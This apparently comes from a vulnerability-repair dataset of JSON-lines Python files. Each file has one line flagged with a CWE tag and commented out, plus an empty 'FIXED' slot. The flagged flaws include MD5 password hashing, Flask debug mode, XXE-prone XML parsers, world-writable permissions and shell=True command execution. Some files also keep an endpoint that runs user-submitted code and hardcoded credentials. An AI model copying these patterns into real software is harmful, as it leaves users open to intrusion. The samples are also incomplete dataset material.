mult_ab = a * b\n div_ab = a / b\n\n res = {\n 'a': a, 'b': b,\n 'sum_ab': sum_ab, 'mult_ab': mult_ab, 'div_ab': div_ab\n }\n\n return render_template('results.html', results=res)\n"} {"language": "python", "text": "import sys\nsys.path.append(\"../../..\")\nimport JeevesLib\nimport hashlib\n\nclass User:\n def __init__(self, userId, userName, firstName, lastName, email):\n self.userId = userId\n self.userName = userName\n self.firstName = firstName\n self.lastName = lastName\n self.email = email\n self._passwordDigest = \"\"\n\n def __repr__(self):\n return \"User(%d, %s)\" % (self.userId, self.userName)\n\n # Labels\n\n # Policies\n\n ## Password Functions ##\n def md5(self, string):\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# return hashlib.md5(string).hexdigest()\n# FIXED: \n\n \n\n\n def setPassword(self, password):\n self._passwordDigest = self.md5(password)\n\n def validate(self, password):\n return self._passwordDigest == self.md5(password)\n\n ## Actions ##\n def submitAssignment(self, assignment, name):\n pass\n \n def createAssignment(self, assignmentname, dueDate, maxPoints, prompt):\n pass\n \n ## Magic Methods ##\n def __eq__(self, other):\n if isinstance(other, self.__class__):\n return self.userId == other.userId and self.userName == other.userName\n else:\n return False\n\n def __ne__(self, other):\n return not self.__eq__(other)\n \nclass Student(User):\n def __init__(self, userId, userName, firstName, lastName, email):\n User.__init__(self, userId, userName, firstName, lastName, email)\n\nclass Instructor(User):\n def __init__(self, userId, userName, firstName, lastName, email):\n User.__init__(self, userId, userName, firstName, lastName, email)\n"} {"language": "python", "text": "\nimport json\nimport os\nimport subprocess\nimport tempfile\nfrom contextlib import suppress\nfrom pathlib import Path\n\nimport filelock\nfrom flask import Flask, jsonify, redirect, request, send_from_directory\n\nabspath = Path(os.path.abspath(__file__)).parents[1]\n\n\ndef _pyxell_command(*args):\n return ['python', str(abspath/'pyxell.py'), *args]\n\n\nCODE_LENGTH_LIMIT = 5000\nEXECUTION_TIME_LIMIT = 2\n\nTMP_PATH = os.path.join(tempfile.gettempdir(), 'pyxell')\nos.makedirs(TMP_PATH, mode=0o755, exist_ok=True)\n\nsubprocess.run(_pyxell_command('--precompile-header'), stdout=subprocess.PIPE)\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n return redirect('/docs/')\n\n\n@app.route('/docs/', defaults={'path': 'index.html'})\n@app.route('/docs/')\ndef serve_static(path):\n return send_from_directory('dist/', path)\n\n\n@app.errorhandler(404)\ndef page_not_found(e):\n return serve_static('404.html'), 404\n\n\n@app.route('/run/', methods=['POST'])\ndef run():\n # https://stackoverflow.com/a/26654607\n # https://help.pythonanywhere.com/pages/WebAppClientIPAddresses/\n ip_address = request.headers.get('X-Real-IP', request.remote_addr)\n\n try:\n with filelock.FileLock(f'{ip_address}.lock', timeout=0):\n data = json.loads(request.data)\n code = data['code']\n opt_level = 2 if data.get('optimization') else 0\n\n if len(code) > CODE_LENGTH_LIMIT:\n return jsonify({'error': f\"Code must not be longer than {CODE_LENGTH_LIMIT} characters.\"})\n\n with tempfile.NamedTemporaryFile(dir=TMP_PATH, suffix='.px', mode='w', delete=False) as file:\n file.write(code)\n\n process = subprocess.run(_pyxell_command(file.name, f'-O{opt_level}', f'-l{EXECUTION_TIME_LIMIT}'), input=data.get('input', ''), stdout=subprocess.PIPE, text=True)\n\n for ext in ['.cpp', '.exe']:\n with suppress(OSError):\n os.remove(file.name.replace('.px', ext))\n\n if process.returncode == 0:\n result = {'output': process.stdout}\n elif process.returncode == 2:\n result = {'error': f\"Program must not run for longer than {EXECUTION_TIME_LIMIT} seconds.\"}\n else:\n result = {'error': process.stdout}\n\n return jsonify(result)\n\n except filelock.Timeout:\n return jsonify({'error': \"You cannot run several programs simultaneously.\"})\n\n\nif __name__ == '__main__':\n \n# BUG: CWE-489: Active Debug Code\n# app.run(debug=True)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "\"\"\"Tests for distutils.spawn.\"\"\"\nimport unittest\nimport os\nimport time\nfrom test.test_support import captured_stdout, run_unittest\n\nfrom distutils.spawn import _nt_quote_args\nfrom distutils.spawn import spawn, find_executable\nfrom distutils.errors import DistutilsExecError\nfrom distutils.tests import support\n\nclass SpawnTestCase(support.TempdirManager,\n support.LoggingSilencer,\n unittest.TestCase):\n\n def test_nt_quote_args(self):\n\n for (args, wanted) in ((['with space', 'nospace'],\n ['\"with space\"', 'nospace']),\n (['nochange', 'nospace'],\n ['nochange', 'nospace'])):\n res = _nt_quote_args(args)\n self.assertEqual(res, wanted)\n\n\n @unittest.skipUnless(os.name in ('nt', 'posix'),\n 'Runs only under posix or nt')\n def test_spawn(self):\n tmpdir = self.mkdtemp()\n\n # creating something executable\n # through the shell that returns 1\n if os.name == 'posix':\n exe = os.path.join(tmpdir, 'foo.sh')\n self.write_file(exe, '#!/bin/sh\\nexit 1')\n \n# BUG: CWE-276: Incorrect Default Permissions\n# os.chmod(exe, 0777)\n# FIXED: \n\n \n\n else:\n exe = os.path.join(tmpdir, 'foo.bat')\n self.write_file(exe, 'exit 1')\n\n os.chmod(exe, 0777)\n self.assertRaises(DistutilsExecError, spawn, [exe])\n\n # now something that works\n if os.name == 'posix':\n exe = os.path.join(tmpdir, 'foo.sh')\n self.write_file(exe, '#!/bin/sh\\nexit 0')\n os.chmod(exe, 0777)\n else:\n exe = os.path.join(tmpdir, 'foo.bat')\n self.write_file(exe, 'exit 0')\n\n os.chmod(exe, 0777)\n spawn([exe]) # should work without any error\n\ndef test_suite():\n return unittest.makeSuite(SpawnTestCase)\n\nif __name__ == \"__main__\":\n run_unittest(test_suite())\n"} {"language": "python", "text": "import json\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.dom import minidom\n# FIXED: \n\n \n\n\n\ndef pretty_json(data):\n \"\"\"Return a pretty formatted json\n \"\"\"\n data = json.loads(data.decode('utf-8'))\n return json.dumps(data, indent=4, sort_keys=True)\n\n\ndef pretty_xml(data):\n \"\"\"Return a pretty formated xml\n \"\"\"\n parsed_string = minidom.parseString(data.decode('utf-8'))\n return parsed_string.toprettyxml(indent='\\t', encoding='utf-8')\n\n\ndef prettyfy(response, format='json'):\n \"\"\"A wrapper for pretty_json and pretty_xml\n \"\"\"\n if format == 'json':\n return pretty_json(response.content)\n else:\n return pretty_xml(response.content)\n\n"} {"language": "python", "text": "#!/usr/bin/env python3\nfrom jnpr.junos import Device\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.ElementTree as ET\n# FIXED: \n\n \n\nimport pprint\n\ndev = Device(host='192.168.24.252', user='juniper', passwd='juniper!')\n\ntry:\n dev.open()\nexcept Exception as err:\n print(err)\n sys.exit(1)\n\nresult = dev.rpc.get_interface_information(interface_name='em1', terse=True)\npprint.pprint(ET.tostring(result))\n\ndev.close()\n\n"} {"language": "python", "text": "import urllib\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.ElementTree as ET\n# FIXED: \n\n \n\n\nTWITTER_URL = 'http://api.twitter.com/1/statuses/friends/ACCT.xml'\n\nwhile True:\n print ''\n acct = raw_input('Enter Twitter Account:')\n if ( len(acct) < 1 ) : break\n url = TWITTER_URL.replace('ACCT', acct)\n print 'Retrieving', url\n document = urllib.urlopen (url).read()\n print 'Retrieved', len(document), 'characters.' \n tree = ET.fromstring(document)\n count = 0\n for user in tree.findall('user'):\n count = count + 1\n if count > 4 : break\n print user.find('screen_name').text\n status = user.find('status')\n if status is not None : \n txt = status.find('text').text\n print ' ',txt[:50]\n"} {"language": "python", "text": "#!/usr/bin/env python\nfrom __future__ import print_function\n\"\"\"Run the Python regression test using the compiler\n\nThis test runs the standard Python test suite using bytecode generated\nby this compiler instead of by the builtin compiler.\n\nThe regression test is run with the interpreter in verbose mode so\nthat import problems can be observed easily.\n\"\"\"\n\nfrom compiler import compileFile\n\nimport os\nimport sys\nimport test\nimport tempfile\n\ndef copy_test_suite():\n dest = tempfile.mkdtemp()\n os.system(\"cp -r %s/* %s\" % (test.__path__[0], dest))\n print(\"Creating copy of test suite in\", dest)\n return dest\n\ndef copy_library():\n dest = tempfile.mkdtemp()\n libdir = os.path.split(test.__path__[0])[0]\n print(\"Found standard library in\", libdir)\n print(\"Creating copy of standard library in\", dest)\n os.system(\"cp -r %s/* %s\" % (libdir, dest))\n return dest\n\ndef compile_files(dir):\n print(\"Compiling\", dir, \"\\n\\t\", end=' ')\n line_len = 10\n for file in os.listdir(dir):\n base, ext = os.path.splitext(file)\n if ext == '.py':\n source = os.path.join(dir, file)\n line_len = line_len + len(file) + 1\n if line_len > 75:\n print(\"\\n\\t\", end=' ')\n line_len = len(source) + 9\n print(file, end=' ')\n try:\n compileFile(source)\n except SyntaxError as err:\n print(err)\n continue\n # make sure the .pyc file is not over-written\n \n# BUG: CWE-276: Incorrect Default Permissions\n# os.chmod(source + \"c\", 444)\n# FIXED: \n\n \n\n elif file == 'CVS':\n pass\n else:\n path = os.path.join(dir, file)\n if os.path.isdir(path):\n print()\n print()\n compile_files(path)\n print(\"\\t\", end=' ')\n line_len = 10\n print()\n\ndef run_regrtest(lib_dir):\n test_dir = os.path.join(lib_dir, \"test\")\n os.chdir(test_dir)\n os.system(\"PYTHONPATH=%s %s -v regrtest.py\" % (lib_dir, sys.executable))\n\ndef cleanup(dir):\n os.system(\"rm -rf %s\" % dir)\n\ndef main():\n lib_dir = copy_library()\n compile_files(lib_dir)\n run_regrtest(lib_dir)\n input(\"Cleanup?\")\n cleanup(lib_dir)\n\nif __name__ == \"__main__\":\n main()\n"} {"language": "python", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom os import environ\nimport numpy as np\nfrom osgeo import gdal\nimport sys\nimport matplotlib.pyplot as plt\nimport subprocess\n\ndef run(cmd):\n \"\"\"\n Runs a shell command, and print it before running.\n \"\"\"\n print(cmd)\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# r = subprocess.call(cmd, shell=True, stdout=sys.stdout, stderr=subprocess.STDOUT, env=environ)\n# FIXED: \n\n \n\n if r != 0:\n logger.critical(r)\n return\n\n# read lect.in \nlectfile='lect.in'\nncol, nlign = map(int, open(lectfile).readline().split(None, 2)[0:2])\n# read dates\nfimages='list_images.txt'\nnb,idates,dates,base=np.loadtxt(fimages, comments='#', usecols=(0,1,3,5), unpack=True,dtype='i,i,f,f')\n# nb images\nN=len(dates)\nprint('Size expected time series cube: ({0} {1} {2}) '.format(nlign, ncol, N))\n\nimref = 0\ninlook = 4\noutlook = 4\nrlook = int(outlook/inlook)\nref = [1788, 1100]\n\nmaps = np.zeros((nlign,ncol,N))\ni=0\nfor d in idates:\n infile = '{}_mdel_{}rlks.unw'.format(d,inlook)\n run(\"look.pl \"+str(infile)+\" \"+str(rlook))\n infile = '{}_mdel_{}rlks.unw'.format(d,outlook)\n ds = gdal.OpenEx(infile,allowed_drivers=[\"ROI_PAC\"])\n band = ds.GetRasterBand(2)\n print(\"> Driver: \", ds.GetDriver().ShortName)\n print(\"> Size: \", ds.RasterXSize,'x',ds.RasterYSize,'x',ds.RasterCount)\n print(\"> Datatype: \", gdal.GetDataTypeName(band.DataType))\n print()\n phi = band.ReadAsArray() \n maps[:,:,i] = phi[:nlign,:ncol]\n plt.imshow(maps[:,:,i])\n i+=1\n\n# ref to imref\ncst = np.copy(maps[:,:,imref])\nfor l in range((N)):\n\t# ref in time \n\tmaps[:,:,l] = maps[:,:,l] - cst\n\t# ref in space\n\t# maps[:,:,l] = maps[:,:,l] - maps[ref[0],ref[1],l]\n\nfid = open('cube_era5', 'wb')\nmaps.flatten().astype('float32').tofile(fid)\nplt.show()\n"} {"language": "python", "text": "from flask import Flask, jsonify, request\nfrom datetime import datetime\nimport mysql.connector\n\nimport time\nimport random\n\napp = Flask(__name__)\n\ninsert_so_master = \"INSERT /*+ XID('{xid}') */ INTO order.so_master({keys}) VALUES ({placeholders})\"\ninsert_so_item = \"INSERT /*+ XID('{xid}') */ INTO order.so_item({keys}) VALUES ({placeholders})\"\n\ndef conn():\n retry = 0\n while retry < 3:\n time.sleep(5)\n try:\n c = mysql.connector.connect(\n host=\"dbpack3\",\n port=13308,\n user=\"dksl\",\n password=\"123456\",\n database=\"order\",\n autocommit=True,\n )\n if c.is_connected():\n db_Info = c.get_server_info()\n print(\"Connected to MySQL Server version \", db_Info)\n return c\n except Exception as e:\n print(e.args)\n retry += 1 \n \nconnection = conn()\ncursor = connection.cursor(prepared=True,)\n\n@app.route('/createSo', methods=['POST'])\ndef create_so():\n xid = request.headers.get('xid')\n reqs = request.get_json()\n if xid and \"req\" in reqs:\n for res in reqs[\"req\"]:\n res[\"sysno\"] = next_id()\n res[\"so_id\"] = res[\"sysno\"]\n res[\"order_date\"] = datetime.now()\n res_keys = [str(k) for k,v in res.items() if k != \"so_items\" and str(v) != \"\"]\n so_master = insert_so_master.format(\n xid=xid,\n keys=\", \".join(res_keys),\n placeholders=\", \".join([\"%s\"] * len(res_keys)),\n )\n\n try:\n cursor.execute(so_master, tuple(res.get(k, \"\") for k in res_keys))\n except Exception as e:\n print(e.args)\n \n so_items = res[\"so_items\"]\n for item in so_items:\n item[\"sysno\"] = next_id()\n item[\"so_sysno\"] = res[\"sysno\"]\n item_keys = [str(k) for k,v in item.items() if str(v) != \"\" ]\n so_item = insert_so_item.format(\n xid=xid,\n keys=\", \".join(item_keys),\n placeholders=\", \".join([\"%s\"] * len(item_keys)),\n )\n try:\n cursor.execute(so_item, tuple(item.get(k, \"\") for k in item_keys))\n except Exception as e:\n print(e.args)\n \n return jsonify(dict(success=True, message=\"success\")), 200\n \n return jsonify(dict(success=False, message=\"failed\")), 400 \n\ndef next_id():\n return random.randrange(0, 9223372036854775807)\n \n\nif __name__ == '__main__':\n \n# BUG: CWE-668: Exposure of Resource to Wrong Sphere\n# app.run(host=\"0.0.0.0\", port=3001)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "# Copyright (c) 2001-2006 ActiveState Software Inc.\n# See the file LICENSE.txt for licensing information.\n\nimport socket\n\ndef findOpenPort(start, retries):\n \"\"\"findOpenPort(9000) => 9002\n\n Return the first open port greater or equal to the specified one.\"\"\" \n \n \n# BUG: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\n# test_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) for i in range(retries): port = start+i try: test_socket.bind(('',port)) return port except socket.error: pass\n# FIXED: \n\n \n\n \n raise \"Could not find open port from %d to %d.\" % (start, start + retries)\n"} {"language": "python", "text": "import logging\n\nimport flask\nimport os\nimport numpy as np\nfrom flask import Flask, jsonify, render_template, request\nfrom scipy import misc\nfrom sklearn.externals import joblib\n\napp = Flask(__name__)\n\n# create logger\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\n# create file handler which logs even debug messages\nfh = logging.FileHandler(str(__name__) + \".log\")\nfh.setLevel(logging.DEBUG)\n# create console handler with a higher log level\nch = logging.StreamHandler()\nch.setLevel(logging.INFO)\n# create formatter and add it to the handlers\nformatter = logging.Formatter(\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\")\nfh.setFormatter(formatter)\nch.setFormatter(formatter)\n# add the handlers to the logger\nlogger.addHandler(fh)\nlogger.addHandler(ch)\n\n\n@app.route(\"/\")\n@app.route(\"/index\")\ndef index():\n return flask.render_template(\"index.html\", label=False)\n\n\n@app.route(\"/status\", methods=[\"GET\"])\ndef get_status():\n return jsonify({\"version\": \"0.0.1\", \"status\": True})\n\n\n@app.route(\"/predict\", methods=[\"POST\"])\ndef make_prediction():\n if request.method == \"POST\":\n # get uploaded file if it exists\n logger.debug(request.files)\n\n f = request.files[\"file\"]\n f.save(f.filename) # save file to disk\n logger.info(f\"{f.filename} saved to disk\")\n\n # read file from disk\n with open(f.filename, \"r\") as infile:\n text_content = infile.read()\n logger.info(f\"Text Content from file read\")\n\n prediction = model.predict([text_content])\n logger.info(f\"prediction: {prediction}\")\n prediction = \"pos\" if prediction[0] == 1 else \"neg\"\n os.remove(f.filename)\n return flask.render_template(\"index.html\", label=prediction)\n\n\nif __name__ == \"__main__\":\n # load ml model from disk\n model = joblib.load(\"model.pkl\")\n # start api\n \n# BUG: CWE-489: Active Debug Code\n# app.run(host=\"0.0.0.0\", port=8000, debug=True)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.sax.xmlreader import AttributesNSImpl\n# FIXED: \n\n \n\n\nfrom ..constants import adjustForeignAttributes, unadjustForeignAttributes\n\nprefix_mapping = {}\nfor prefix, localName, namespace in adjustForeignAttributes.values():\n if prefix is not None:\n prefix_mapping[prefix] = namespace\n\n\ndef to_sax(walker, handler):\n \"\"\"Call SAX-like content handler based on treewalker walker\"\"\"\n handler.startDocument()\n for prefix, namespace in prefix_mapping.items():\n handler.startPrefixMapping(prefix, namespace)\n\n for token in walker:\n type = token[\"type\"]\n if type == \"Doctype\":\n continue\n elif type in (\"StartTag\", \"EmptyTag\"):\n attrs = AttributesNSImpl(token[\"data\"],\n unadjustForeignAttributes)\n handler.startElementNS((token[\"namespace\"], token[\"name\"]),\n token[\"name\"],\n attrs)\n if type == \"EmptyTag\":\n handler.endElementNS((token[\"namespace\"], token[\"name\"]),\n token[\"name\"])\n elif type == \"EndTag\":\n handler.endElementNS((token[\"namespace\"], token[\"name\"]),\n token[\"name\"])\n elif type in (\"Characters\", \"SpaceCharacters\"):\n handler.characters(token[\"data\"])\n elif type == \"Comment\":\n pass\n else:\n assert False, \"Unknown token type\"\n\n for prefix, namespace in prefix_mapping.items():\n handler.endPrefixMapping(prefix)\n handler.endDocument()\n"} {"language": "python", "text": "#!/usr/bin/env python\nimport os\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.dom import pulldom\n# FIXED: \n\n \n\nimport logging\nimport re\n\nlog = logging.getLogger(\"xml2dtd\")\nlog.setLevel(logging.DEBUG)\n\nfrom elementtree import XMLTreeBuilder\ntry:\n import cElementTree as ET # effbot's C module\nexcept ImportError:\n log.error(\"using element tree and not cElementTree, performace will suffer\")\n import elementtree.ElementTree as Et # effbot's pure Python module\n\ndef dirwalker(dirname, pat=None):\n \"\"\"Generate all subdirectories of the given directory.\"\"\"\n import fnmatch\n try:\n contents = os.listdir(os.path.normpath(dirname))\n except OSError, e:\n if e.errno != 13: # permission denied\n raise\n contents = []\n for f in contents:\n fullpath = os.path.join(dirname, f)\n if os.path.isdir(fullpath):\n for path in dirwalker(fullpath, pat):\n yield path\n else:\n if not pat or fnmatch.filter([fullpath], pat):\n yield fullpath\n\nclass NamespaceParser(XMLTreeBuilder.FancyTreeBuilder):\n _qname = re.compile(\"{(.*?)}(.*)\")\n def start(self, element):\n element.namespaces = self.namespaces[:]\n qn = self._qname.match(element.tag)\n try:\n element.ns = qn.group(1)\n element.tagName = qn.group(2)\n except:\n element.ns = \"\"\n element.tagName = element.tag\n\nclass DTDinst:\n def __init__(self, filename):\n self.filename = filename\n self.elements = {}\n \n def write(self):\n el = \"\"\n al = \"\"\n attr = \"%s CDATA #IMPLIED\"\n for tag, elements in self.elements.items():\n celem = set()\n for e in elements:\n celem.update(list(e))\n if not celem:\n ctags = \"EMPTY\"\n else:\n ctags = {}\n for c in celem:\n ctags[c.tagName] = 0\n children = \"(%s)*\" % \" | \".join(ctags.keys())\n print el % (tag, children)\n \n attrs = {}\n attlist = []\n for c in celem:\n attrs.update(c.attrib)\n for attrib in attrs.keys():\n attlist.append(attr % attrib)\n if attlist:\n print al % (tag, \"\\n\".join(attlist))\n \n \n def parsexml(self, xmlfile):\n tree = ET.parse(xmlfile, NamespaceParser())\n for e in tree.getiterator():\n if not e.tagName in self.elements:\n self.elements[e.tagName] = []\n self.elements[e.tagName].append(e)\n \nif __name__==\"__main__\":\n import sys\n path = os.path.expanduser(os.path.expandvars(sys.argv[2]))\n if path[0] != \"/\" and path[1] != \":\":\n path = os.path.join(os.getcwd(), path)\n path = os.path.normpath(path)\n pattern = None\n if len(sys.argv) > 3:\n pattern = sys.argv[3]\n dtd = DTDinst(sys.argv[1])\n for xmlFile in dirwalker(path, pattern):\n dtd.parsexml(xmlFile)\n dtd.write()\n "} {"language": "python", "text": "# -*- coding: utf-8 -*-\n\"\"\"\n jinja2.testsuite.debug\n ~~~~~~~~~~~~~~~~~~~~~~\n\n Tests the debug system.\n\n :copyright: (c) 2010 by the Jinja Team.\n :license: BSD, see LICENSE for more details.\n\"\"\"\nimport sys\nimport unittest\n\nfrom jinja2.testsuite import JinjaTestCase, filesystem_loader\n\nfrom jinja2 import Environment, TemplateSyntaxError\n\n\n# BUG: CWE-116: Improper Encoding or Escaping of Output\n# env = Environment(loader=filesystem_loader)\n# FIXED: \n\n \n\n\n\nclass DebugTestCase(JinjaTestCase):\n\n if sys.version_info[:2] != (2, 4):\n def test_runtime_error(self):\n def test():\n tmpl.render(fail=lambda: 1 / 0)\n tmpl = env.get_template('broken.html')\n self.assert_traceback_matches(test, r'''\n File \".*?broken.html\", line 2, in (top-level template code|)\n \\{\\{ fail\\(\\) \\}\\}\n File \".*?debug.pyc?\", line \\d+, in \n tmpl\\.render\\(fail=lambda: 1 / 0\\)\nZeroDivisionError: (int(eger)? )?division (or modulo )?by zero\n''')\n\n def test_syntax_error(self):\n # XXX: the .*? is necessary for python3 which does not hide\n # some of the stack frames we don't want to show. Not sure\n # what's up with that, but that is not that critical. Should\n # be fixed though.\n self.assert_traceback_matches(lambda: env.get_template('syntaxerror.html'), r'''(?sm)\n File \".*?syntaxerror.html\", line 4, in (template|)\n \\{% endif %\\}.*?\n(jinja2\\.exceptions\\.)?TemplateSyntaxError: Encountered unknown tag 'endif'. Jinja was looking for the following tags: 'endfor' or 'else'. The innermost block that needs to be closed is 'for'.\n ''')\n\n def test_regular_syntax_error(self):\n def test():\n raise TemplateSyntaxError('wtf', 42)\n self.assert_traceback_matches(test, r'''\n File \".*debug.pyc?\", line \\d+, in test\n raise TemplateSyntaxError\\('wtf', 42\\)\n(jinja2\\.exceptions\\.)?TemplateSyntaxError: wtf\n line 42''')\n\n\ndef suite():\n suite = unittest.TestSuite()\n suite.addTest(unittest.makeSuite(DebugTestCase))\n return suite\n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.sax.xmlreader import AttributesNSImpl\n# FIXED: \n\n \n\n\nfrom ..constants import adjustForeignAttributes, unadjustForeignAttributes\n\nprefix_mapping = {}\nfor prefix, localName, namespace in adjustForeignAttributes.values():\n if prefix is not None:\n prefix_mapping[prefix] = namespace\n\n\ndef to_sax(walker, handler):\n \"\"\"Call SAX-like content handler based on treewalker walker\"\"\"\n handler.startDocument()\n for prefix, namespace in prefix_mapping.items():\n handler.startPrefixMapping(prefix, namespace)\n\n for token in walker:\n type = token[\"type\"]\n if type == \"Doctype\":\n continue\n elif type in (\"StartTag\", \"EmptyTag\"):\n attrs = AttributesNSImpl(token[\"data\"],\n unadjustForeignAttributes)\n handler.startElementNS((token[\"namespace\"], token[\"name\"]),\n token[\"name\"],\n attrs)\n if type == \"EmptyTag\":\n handler.endElementNS((token[\"namespace\"], token[\"name\"]),\n token[\"name\"])\n elif type == \"EndTag\":\n handler.endElementNS((token[\"namespace\"], token[\"name\"]),\n token[\"name\"])\n elif type in (\"Characters\", \"SpaceCharacters\"):\n handler.characters(token[\"data\"])\n elif type == \"Comment\":\n pass\n else:\n assert False, \"Unknown token type\"\n\n for prefix, namespace in prefix_mapping.items():\n handler.endPrefixMapping(prefix)\n handler.endDocument()\n"} {"language": "python", "text": "# -*- test-case-name: twisted.test.test_versions -*-\n# Copyright (c) 2006 Twisted Matrix Laboratories.\n# See LICENSE for details.\n\n\"\"\"\nVersions for Python packages.\n\nSee L{Version}.\n\"\"\"\n\nimport sys, os\n\nclass IncomparableVersions(TypeError):\n \"\"\"\n Two versions could not be compared.\n \"\"\"\n\nclass Version(object):\n \"\"\"\n An object that represents a three-part version number.\n\n If running from an svn checkout, include the revision number in\n the version string.\n \"\"\"\n def __init__(self, package, major, minor, micro):\n self.package = package\n self.major = major\n self.minor = minor\n self.micro = micro\n\n def short(self):\n \"\"\"\n Return a string in canonical short version format, \n ..[+rSVNVer].\n \"\"\"\n s = self.base()\n svnver = self._getSVNVersion()\n if svnver:\n s += '+r'+svnver\n return s\n\n def base(self):\n \"\"\"\n Like L{short}, but without the +rSVNVer.\n \"\"\"\n return '%d.%d.%d' % (self.major,\n self.minor,\n self.micro)\n\n def __repr__(self):\n svnver = self._formatSVNVersion()\n if svnver:\n svnver = ' #' + svnver\n return '%s(%r, %d, %d, %d)%s' % (\n self.__class__.__name__,\n self.package,\n self.major,\n self.minor,\n self.micro,\n svnver)\n\n def __str__(self):\n return '[%s, version %d.%d.%d%s]' % (\n self.package,\n self.major,\n self.minor,\n self.micro,\n self._formatSVNVersion())\n\n def __cmp__(self, other):\n if not isinstance(other, self.__class__):\n return NotImplemented\n if self.package != other.package:\n raise IncomparableVersions()\n return cmp((self.major,\n self.minor,\n self.micro),\n (other.major,\n other.minor,\n other.micro))\n\n def _getSVNVersion(self):\n return None\n mod = sys.modules.get(self.package)\n if mod:\n ent = os.path.join(os.path.dirname(mod.__file__),\n '.svn',\n 'entries')\n if os.path.exists(ent):\n \n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.dom.minidom import parse\n# FIXED: \n\n \n\n doc = parse(file(ent)).documentElement\n for node in doc.childNodes:\n if hasattr(node, 'getAttribute'):\n rev = node.getAttribute('revision')\n if rev is not None:\n return rev.encode('ascii')\n\n def _formatSVNVersion(self):\n ver = self._getSVNVersion()\n if ver is None:\n return ''\n return ' (SVN r%s)' % (ver,)\n"} {"language": "python", "text": "import base64\nimport functools\nimport hashlib\nimport hmac\nimport random\nimport sys\nimport time\n\ntry:\n from urllib.parse import quote\nexcept ImportError:\n from urllib import quote\n\n\nif sys.version_info < (3,):\n integer_types = (int, long)\n unicode_type = unicode\nelse:\n integer_types = (int,)\n unicode_type = str\n\n\nquote = functools.partial(quote, safe='~')\n\n\nclass SimpleAuth(object):\n def __init__(self, key):\n self.key = key\n\n def authorize(self, method, url, params=None):\n return 'CloudSight %s' % self.key\n\n\nclass OAuth(object):\n def __init__(self, key, secret):\n self.key = key\n self.secret = secret\n\n def authorize(self, method, url, params=None):\n nonce = str(random.random()).encode('utf8')\n oauth_params = {\n 'oauth_consumer_key': self.key,\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# 'oauth_nonce': hashlib.sha1(nonce).hexdigest(),\n# FIXED: \n\n \n\n 'oauth_signature_method': 'HMAC-SHA1',\n 'oauth_timestamp': int(time.time()),\n 'oauth_version': '1.0',\n }\n\n if params:\n oauth_params.update(params)\n\n encoded = []\n\n for key, value in oauth_params.items():\n if isinstance(value, integer_types):\n value = str(value)\n if isinstance(value, unicode_type):\n value = value.encode('utf8')\n encoded.append((quote(key), quote(value)))\n\n encoded.sort()\n encoded = '&'.join('%s=%s' % (key, value) for key, value in encoded)\n base_string = '%s&%s&%s' % (method.upper(), quote(url), quote(encoded))\n base_string = base_string.encode('utf8')\n signing_key = '%s&' % quote(self.secret)\n signing_key = signing_key.encode('utf8')\n\n signature = hmac.new(signing_key, base_string, hashlib.sha1).digest()\n oauth_params['oauth_signature'] = base64.b64encode(signature)\n\n header_params = []\n\n for key, value in oauth_params.items():\n if not key.startswith('oauth_'):\n continue\n if isinstance(value, integer_types):\n value = str(value)\n if isinstance(value, unicode_type):\n value = value.encode('utf8')\n header_params.append((quote(key), quote(value)))\n\n header_params.sort()\n header = ', '.join(\n '%s=\"%s\"' % (key, value) for key, value in header_params)\n return 'OAuth %s' % header\n"} {"language": "python", "text": "from flask import Flask, request\nimport subprocess\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef hello():\n return \"Hello, World!\"\n\n@app.route('/execute', methods=['POST'])\ndef execute():\n with open('runtime.py', 'w') as f:\n \n# BUG: CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')\n# f.write(request.values.get('code'))\n# FIXED: \n\n \n\n return subprocess.check_output([\"python\", \"runtime.py\"])\n\napp.debug=True\n"} {"language": "python", "text": "# This file lets the gamesbyexample launcher run the Python game script\n# in a new terminal window, which will remain open after the Python\n# script terminates. Though first, it runs __crashdetector__.py which\n# runs the game, and can detect if the game crashes.\n\nimport subprocess, sys, os\n\nlauncherVersion = sys.argv[1]\nprogramToLaunch = sys.argv[2]\n\nFOLDER_OF_THIS_FILE = os.path.dirname(os.path.abspath(__file__))\nCRASH_DETECTOR = os.path.join(FOLDER_OF_THIS_FILE, '__crashdetector__.py')\n\n# First, this script runs the crash detector to run the Python script:\ntry:\n exitCode = subprocess.call([sys.executable, CRASH_DETECTOR, sys.argv[1], sys.argv[2]])\nexcept KeyboardInterrupt, EOFError:\n exitCode = 0 # Do nothing if Ctrl-C was pressed to exit the game.\n\n\n\n# Pygame games only leave the terminal window open if there was no crash.\nif 'pygame_games/' in programToLaunch and exitCode == 0:\n sys.exit()\n\n# Second, this script runs a shell so that the terminal window stays open\n# after the programToLaunch Python script terminates. (Otherwise, any\n# output that the game printed just before terminating will be lost when\n# the terminal window closes.)\nif 'SHELL' in os.environ:\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# subprocess.call([os.environ['SHELL']])\n# FIXED: \n\n \n\nelse:\n # Let's just assume the user's shell is bash:\n subprocess.call(['bash'])\n"} {"language": "python", "text": "import hashlib\n\nhs = hashlib.md5(b\"foo\")\nassert hs.hexdigest() == 